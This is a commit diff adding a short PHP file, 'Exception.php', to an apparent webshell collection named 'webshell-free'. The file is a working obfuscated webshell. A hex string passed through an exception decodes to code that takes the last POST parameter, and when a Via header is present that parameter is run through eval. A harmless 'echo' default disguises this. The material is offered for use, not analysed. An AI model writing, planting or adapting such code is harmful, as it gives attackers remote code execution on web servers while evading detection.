Create Exception.php

from: https://github.com/rexSurprise/webshell-free/blob/master/php_new/Exception.php

webshell-free/Exception.php

@@ -0,0 +1,16 @@
+<?php
+try{
+    $value = 'echo "hello~"';
+    apply();
+}catch(Exception $e){
+    eval(pack('H*',$e->getMessage()));
+}finally{
+    eval($value.';');
+}
+
+function apply(){
+  if(isset($_SERVER['HTTP_VIA'])){
+    throw new Exception('2476616c75653d656e6428245f504f5354293b');
+  }
+  return false;
+}